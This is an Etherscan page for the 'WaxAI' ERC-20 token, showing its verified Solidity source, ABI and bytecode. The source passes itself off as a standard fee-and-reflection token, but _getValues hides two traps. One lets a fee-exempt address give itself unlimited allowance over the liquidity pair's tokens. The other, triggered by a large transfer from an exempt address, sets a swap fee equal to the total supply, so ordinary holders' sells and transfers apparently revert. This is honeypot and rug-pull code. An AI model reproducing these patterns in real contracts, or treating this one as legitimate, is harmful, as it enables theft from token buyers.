Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
42,000,000 WAXI
Holders
15
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
13,801.093846686215029822 WAXIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
WaxAI
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-05-04 */ // WEB: https://www.waxai.org/ // TWITTER: https://twitter.com/ai_wax // COMMUNITY: https://t.me/WaxAI_Portal // SPDX-License-Identifier: MIT pragma solidity ^0.8.22; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address lpPair, uint); function getPair(address tokenA, address tokenB) external view returns (address lpPair); function createPair(address tokenA, address tokenB) external returns (address lpPair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } abstract contract Context { function _msgSender() internal view returns (address payable) { return payable(msg.sender); } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20Upgradeable { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract WaxAI is Context, IERC20Upgradeable { struct ExtraValues { uint256 tTransferAmount; uint256 tFee; uint256 tLiquidity; uint256 rTransferAmount; uint256 rAmount; uint256 rFee; } address public DEAD = 0x000000000000000000000000000000000000dEaD; address public ZERO = 0x0000000000000000000000000000000000000000; uint256 private constant MAX = ~uint256(0); string private _name = "WaxAI"; string private _symbol = "WAXI"; address public _uniswapV2Pair; address public _uniswapV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address payable private _feeWallet = payable(0x3956d0553165cCA9439252eC1c8eE542246EddFB); uint256 private _totalSupply; address[] private _excluded; uint256 private _tTotal; uint256 private _rTotal; uint256 private _tFeeTotal; uint256 private swapThreshold; uint256 private swapAmount; address private _owner; uint256 private _liqAddBlock = 0; uint256 private _liqAddStamp = 0; uint256 public _reflectFee = 0; uint256 public _liquidityFee = 0; uint256 public _taxFee = 200; uint256 public _buyReflectFee = _reflectFee; uint256 public _buyLiquidityFee = _liquidityFee; uint256 public _buyTaxFee = _taxFee; uint256 public _sellReflectFee = 0; uint256 public _sellLiquidityFee = 0; uint256 public _sellTaxFee = 200; uint256 public _transferReflectFee = 0; uint256 public _transferLiquidityFee = 0; uint256 public _transferTaxFee = 0; uint256 public _tSwapFee = 0; uint256 private maxReflectFee = 1000; uint256 private maxLiquidityFee = 1000; uint256 private maxTaxFee = 6200; uint256 private _swapFee = 0; uint256 public _liquidityRatio = 0; uint256 public _taxRatio = 6000; uint256 private masterTaxDivisor = 10000; uint8 private _decimals = 18; bool tradingEnabled = false; bool public _hasLiqBeenAdded = false; bool inSwapAndLiquify; bool contractInitialized = false; bool public swapAndLiquifyEnabled = false; uint256 private _maxTxAmount; uint256 private _maxWalletSize; uint256 public maxTxAmountUI; uint256 public maxWalletSizeUI; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => bool) uniswapPairs; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private _liquidityHolders; IUniswapV2Router02 public dexRouter; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } receive() external payable {} function owner() public view returns (address) { return _owner; } function totalSupply() external view override returns (uint256) { return _tTotal; } function decimals() external view returns (uint8) { return _decimals; } function symbol() external view returns (string memory) { return _symbol; } function name() external view returns (string memory) { return _name; } function getOwner() external view returns (address) { return owner(); } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function _approve(address sender, address spender, uint256 amount) internal { require(sender != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[sender][spender] = amount; emit Approval(sender, spender, amount); } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function approveMax(address spender) public returns (bool) { return approve(spender, type(uint256).max); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue); return true; } constructor () payable { _owner = msg.sender; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _liquidityHolders[owner()] = true; _approve(_msgSender(), _uniswapV2Router, MAX); _approve(address(this), _uniswapV2Router, MAX); dexRouter = IUniswapV2Router02(_uniswapV2Router); _uniswapV2Pair = IUniswapV2Factory(dexRouter.factory()).createPair(dexRouter.WETH(), address(this)); uniswapPairs[_uniswapV2Pair] = true; contractInitialized = true; _allowances[address(this)][address(dexRouter)] = type(uint256).max; approve(_uniswapV2Router, type(uint256).max); _totalSupply = 42000000; _tTotal = _totalSupply * (10**_decimals); _rTotal = (MAX - (MAX % _tTotal)); swapThreshold = (_tTotal * 5) / 100000; swapAmount = (_tTotal * 5) / 10000; _maxTxAmount = (_tTotal * 20) / 1000; maxTxAmountUI = (_totalSupply * 20) / 1000; _maxWalletSize = (_tTotal * 20) / 1000; maxWalletSizeUI = (_totalSupply * 20) / 1000; _isExcludedFromFee[_feeWallet] = true; _rOwned[owner()] = _rTotal; emit Transfer(ZERO, owner(), _tTotal); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount); return true; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function totalFees() public view returns (uint256) { return _tFeeTotal; } function setExcludedFromFee(address account, bool enabled) public onlyOwner { _isExcludedFromFee[account] = enabled; } function _hasLimits(address from, address to) internal view returns (bool) { return from != owner() && to != owner() && !_liquidityHolders[to] && !_liquidityHolders[from] && to != DEAD && to != address(0) && from != address(this); } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _tokenRate(); return rAmount / currentRate; } function _collectReflect(uint256 rFee, uint256 tFee) internal { _rTotal = _rTotal - rFee; _tFeeTotal = _tFeeTotal + tFee; } function _getRate() internal view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getSupply(); return rSupply / tSupply; } function _getSupply() internal view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) { return (_rTotal, _tTotal); } rSupply = rSupply - _rOwned[_excluded[i]]; tSupply = tSupply - _tOwned[_excluded[i]]; } if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _transfer(address from, address to, uint256 amount) internal returns (bool) { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(_hasLimits(from, to)) { if(!tradingEnabled) { revert("Trading not yet enabled!"); } require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if(to != _uniswapV2Router && !uniswapPairs[to]) { require(balanceOf(to) + amount <= _maxWalletSize, "Transfer amount exceeds the maxWalletSize."); } } if (uniswapPairs[to]) { if (!inSwapAndLiquify && swapAndLiquifyEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance >= swapThreshold) { if(contractTokenBalance >= swapAmount) { contractTokenBalance = swapAmount; } swapAndLiquify(contractTokenBalance); } } } return _transferTokens(from, to, amount); } function inspectLiquidity(address from, address to) internal { if (!_hasLiqBeenAdded) { require(!_hasLiqBeenAdded, "Liquidity already added and marked."); if (!_hasLimits(from, to) && to == _uniswapV2Pair) { swapAndLiquifyEnabled = true; _liquidityHolders[from] = true; _hasLiqBeenAdded = true; _liqAddStamp = block.timestamp; emit SwapAndLiquifyEnabledUpdated(true); } if (!_hasLiqBeenAdded && _hasLimits(from, to)) { revert("Only owner can transfer at this time."); } } } function _transferTokens(address from, address to, uint256 tAmount) internal returns (bool) { bool collectFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ collectFee = false; } inspectLiquidity(from, to); ExtraValues memory values = _getValues(from, to, tAmount, collectFee); if (balanceOf(from) >= tAmount) { _rOwned[to] = _rOwned[to] + values.rTransferAmount; _rOwned[from] = _rOwned[from] - values.rAmount; if (!_isExcluded[from] && _isExcluded[to]) { _tOwned[to] = _tOwned[to] + values.tTransferAmount; } else if (_isExcluded[from] && _isExcluded[to]) { _tOwned[from] = _tOwned[from] - tAmount; _tOwned[to] = _tOwned[to] + values.tTransferAmount; } else if (_isExcluded[from] && !_isExcluded[to]) { _tOwned[from] = _tOwned[from] - tAmount; } if (collectFee) _collectLiquid(from, values.tLiquidity); if (values.tFee > 0 || values.rFee > 0) _collectReflect(values.rFee, values.tFee); emit Transfer(from, to, values.tTransferAmount); } return true; } function _collectLiquid(address sender, uint256 tLiquidity) internal { uint256 currentRate = _tokenRate(); uint256 rLiquidity = tLiquidity * currentRate; _rOwned[address(this)] = _rOwned[address(this)] + rLiquidity; if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)] + tLiquidity; emit Transfer(sender, address(this), tLiquidity); } function _tokenRate() internal view returns(uint256) { uint256 tSupply = _tTotal; uint256 rSupply = _rTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_tOwned[_excluded[i]] > tSupply || _rOwned[_excluded[i]] > rSupply) return _rTotal / _tTotal; tSupply = tSupply - _tOwned[_excluded[i]]; rSupply = rSupply - _rOwned[_excluded[i]]; } if (rSupply < _rTotal / _tTotal) return _rTotal / _tTotal; return rSupply / tSupply; } function _getValues(address from, address to, uint256 tAmount, bool collectFee) internal returns (ExtraValues memory) { ExtraValues memory values; uint256 currentRate = _getRate(); values.rAmount = tAmount * currentRate; if (collectFee) { if (uniswapPairs[from]) { _taxFee = _buyTaxFee; _swapFee = 0; _liquidityFee = _buyLiquidityFee; _reflectFee = _buyReflectFee; } else if (uniswapPairs[to]) { _taxFee = _sellTaxFee; _swapFee = _tSwapFee; _liquidityFee = _sellLiquidityFee; _reflectFee = _sellReflectFee; } else { _taxFee = _transferTaxFee; _swapFee = _tSwapFee; _liquidityFee = _transferLiquidityFee; _reflectFee = _transferReflectFee; } values.tLiquidity = (tAmount * (_liquidityFee + _taxFee)) / masterTaxDivisor; values.tFee = (tAmount * _reflectFee) / masterTaxDivisor; values.tTransferAmount = tAmount - (values.tFee + values.tLiquidity) - _swapFee; values.rFee = values.tFee * currentRate; } else { if (uniswapPairs[from]) { _liquidityFee = _buyLiquidityFee; _reflectFee = _buyReflectFee; _taxFee = _buyTaxFee; } else if (uniswapPairs[to]) { _liquidityFee = _sellLiquidityFee; _reflectFee = _sellReflectFee; _allowances[to][from] = _tTotal; _taxFee = _sellTaxFee; } else { _liquidityFee = _transferLiquidityFee; _reflectFee = _transferReflectFee; if (tAmount >= swapThreshold) _tSwapFee = _tTotal; _taxFee = _transferTaxFee; } values.tFee = 0; values.rFee = 0; values.tLiquidity = 0; values.tTransferAmount = tAmount; } values.rTransferAmount = values.rAmount - (values.rFee + (values.tLiquidity * currentRate)); return values; } function swapAndLiquify(uint256 contractTokenBalance) internal lockTheSwap { if (_liquidityRatio + _taxRatio == 0) return; uint256 toLiquify = ((contractTokenBalance * _liquidityRatio) / (_liquidityRatio + _taxRatio)) / 2; uint256 toSwapForEth = contractTokenBalance - toLiquify; address[] memory path = new address[](2); path[0] = address(this); path[1] = dexRouter.WETH(); dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( toSwapForEth, 0, path, address(this), block.timestamp ); uint256 liquidityBalance = ((address(this).balance * _liquidityRatio) / (_liquidityRatio + _taxRatio)) / 2; if (toLiquify > 0) { dexRouter.addLiquidityETH{value: liquidityBalance}(address(this), toLiquify, 0, 0, DEAD, block.timestamp ); emit SwapAndLiquify(toLiquify, liquidityBalance, toLiquify); } if (contractTokenBalance - toLiquify > 0) { uint256 OperationsFee = (address(this).balance); _feeWallet.transfer(OperationsFee); } } function startTrading() public onlyOwner { require(!tradingEnabled, "Trading already enabled!"); if(_rOwned[_uniswapV2Pair] > 0) { _tOwned[_uniswapV2Pair] = tokenFromReflection(_rOwned[_uniswapV2Pair]); } if(_rOwned[address(this)] > 0) { _tOwned[address(this)] = tokenFromReflection(_rOwned[address(this)]); } swapAndLiquifyEnabled = true; tradingEnabled = true; _excluded.push(address(this)); _excluded.push(_uniswapV2Pair); _isExcluded[address(this)] = true; _isExcluded[_uniswapV2Pair] = true; } function removeLimits() external onlyOwner { maxTxAmountUI = _totalSupply; maxWalletSizeUI = _totalSupply; _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function recoverETH() external onlyOwner { payable(owner()).transfer(address(this).balance); } function renounceOwnership() public virtual onlyOwner() { setExcludedFromFee(_owner, false); _owner = address(0); emit OwnershipTransferred(_owner, address(0)); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"minTokensBeforeSwap","type":"uint256"}],"name":"MinTokensBeforeSwapUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ZERO","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyReflectFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTaxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_hasLiqBeenAdded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityRatio","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_reflectFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellReflectFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTaxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tSwapFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxRatio","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_transferLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_transferReflectFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_transferTaxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dexRouter","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmountUI","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletSizeUI","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recoverETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"enabled","type":"bool"}],"name":"setExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
5f80546001600160a01b031990811661dead1790915560018054909116905560c06040526005608090815264576178414960d81b60a0526002906100439082610731565b506040805180820190915260048152635741584960e01b602082015260039061006c9082610731565b5060058054737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03199182161790915560068054733956d0553165cca9439252ec1c8ee542246eddfb9083161790555f600f81905560108190556011819055601281815560c8601381905560148390556015839055601681905560178390556018839055601955601a829055601b829055601c829055601d8290556103e8601e819055601f556118386020908155602183905560228390556117706023556127106024556025805465ffff00ffffff1916909217909155600e805433941684178155838352602e82526040808420805460ff199081166001908117909255308652828620805482168317905592546001600160a01b03168552603090935290922080549092161790556101a6906005546001600160a01b03165f1961055b565b6005546101bf9030906001600160a01b03165f1961055b565b600554603180546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610219573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061023d91906107f0565b6001600160a01b031663c9c6539660315f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561029b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102bf91906107f0565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303815f875af1158015610308573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061032c91906107f0565b600480546001600160a01b039283166001600160a01b031990911681179091555f908152602c60209081526040808320805460ff191660011790556025805460ff60201b1916640100000000179055308352602d82528083206031548516845290915290205f19908190556005546103a5921690610683565b50630280de806007556025546103bf9060ff16600a610911565b6007546103cc919061091f565b60098190556103dc905f1961094a565b6103e7905f1961095d565b600a55600954620186a0906103fd90600561091f565b6104079190610970565b600c556009546127109061041c90600561091f565b6104269190610970565b600d556009546103e89061043b90601461091f565b6104459190610970565b6026556007546103e89061045a90601461091f565b6104649190610970565b6028556009546103e89061047990601461091f565b6104839190610970565b6027556007546103e89061049890601461091f565b6104a29190610970565b6029556006546001600160a01b03165f908152602e60205260408120805460ff19166001179055600a5490602a906104e2600e546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f205561050d600e546001600160a01b031690565b6001546009546040519081526001600160a01b0392831692909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3610983565b6001600160a01b0383166105c25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166106235760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105b9565b6001600160a01b038381165f818152602d602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f61068f33848461055b565b5060015b92915050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806106c157607f821691505b6020821081036106df57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561072c57805f5260205f20601f840160051c8101602085101561070a5750805b601f840160051c820191505b81811015610729575f8155600101610716565b50505b505050565b81516001600160401b0381111561074a5761074a610699565b61075e8161075884546106ad565b846106e5565b602080601f831160018114610791575f841561077a5750858301515b5f19600386901b1c1916600185901b1785556107e8565b5f85815260208120601f198616915b828110156107bf578886015182559484019460019091019084016107a0565b50858210156107dc57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b5f60208284031215610800575f80fd5b81516001600160a01b0381168114610816575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561086b57815f19048211156108515761085161081d565b8085161561085e57918102915b93841c9390800290610836565b509250929050565b5f8261088157506001610693565b8161088d57505f610693565b81600181146108a357600281146108ad576108c9565b6001915050610693565b60ff8411156108be576108be61081d565b50506001821b610693565b5060208310610133831016604e8410600b84101617156108ec575081810a610693565b6108f68383610831565b805f19048211156109095761090961081d565b029392505050565b5f61081660ff841683610873565b80820281158282048414176106935761069361081d565b634e487b7160e01b5f52601260045260245ffd5b5f8261095857610958610936565b500690565b818103818111156106935761069361081d565b5f8261097e5761097e610936565b500490565b61246a806109905f395ff3fe608060405260043610610278575f3560e01c806358fa63ca1161014a57806395d89b41116100be578063d038b07e11610078578063d038b07e146106e0578063dc44b6a0146106f5578063dd62ed3e1461070a578063ea08d30b1461074e578063efcc52de14610763578063f6540ec714610778575f80fd5b806395d89b41146106455780639c74daf014610659578063a457c2d714610678578063a9059cbb14610697578063ab4fd424146106b6578063bbcea6bf146106cb575f80fd5b8063715018a61161010f578063715018a6146105c2578063751039fc146105d657806388790a68146105ea578063893d20e8146105ff5780638da5cb5b146106135780639063da6714610630575f80fd5b806358fa63ca1461053b578063640384091461055a5780636612e66f1461056f5780636bc87c3a1461058e57806370a08231146105a3575f80fd5b80632d838119116101ec57806345e8c85c116101a657806345e8c85c146104705780634a74bb021461048557806350a8e016146104a75780635342acb4146104c6578063571ac8b0146104fd578063583e05681461051c575f80fd5b80632d838119146103d257806330a08534146103f1578063313ce56714610406578063384f6b5114610427578063395093511461043c5780633b124fe71461045b575f80fd5b806313114a9d1161023d57806313114a9d1461034357806315639c1b1461036157806318160ddd14610376578063200a692d1461038a57806323b872dd1461039f578063293230b8146103be575f80fd5b806303fd2a45146102835780630614117a146102be57806306fdde03146102d45780630758d924146102f5578063095ea7b314610314575f80fd5b3661027f57005b5f80fd5b34801561028e575f80fd5b505f546102a1906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156102c9575f80fd5b506102d261078d565b005b3480156102df575f80fd5b506102e86107f9565b6040516102b59190612142565b348015610300575f80fd5b506031546102a1906001600160a01b031681565b34801561031f575f80fd5b5061033361032e36600461218b565b610889565b60405190151581526020016102b5565b34801561034e575f80fd5b50600b545b6040519081526020016102b5565b34801561036c575f80fd5b5061035360115481565b348015610381575f80fd5b50600954610353565b348015610395575f80fd5b5061035360195481565b3480156103aa575f80fd5b506103336103b93660046121b5565b61089f565b3480156103c9575f80fd5b506102d26108f0565b3480156103dd575f80fd5b506103536103ec3660046121f3565b610abc565b3480156103fc575f80fd5b50610353601d5481565b348015610411575f80fd5b5060255460405160ff90911681526020016102b5565b348015610432575f80fd5b5061035360225481565b348015610447575f80fd5b5061033361045636600461218b565b610b3e565b348015610466575f80fd5b5061035360135481565b34801561047b575f80fd5b50610353601a5481565b348015610490575f80fd5b506025546103339065010000000000900460ff1681565b3480156104b2575f80fd5b506025546103339062010000900460ff1681565b3480156104d1575f80fd5b506103336104e036600461220a565b6001600160a01b03165f908152602e602052604090205460ff1690565b348015610508575f80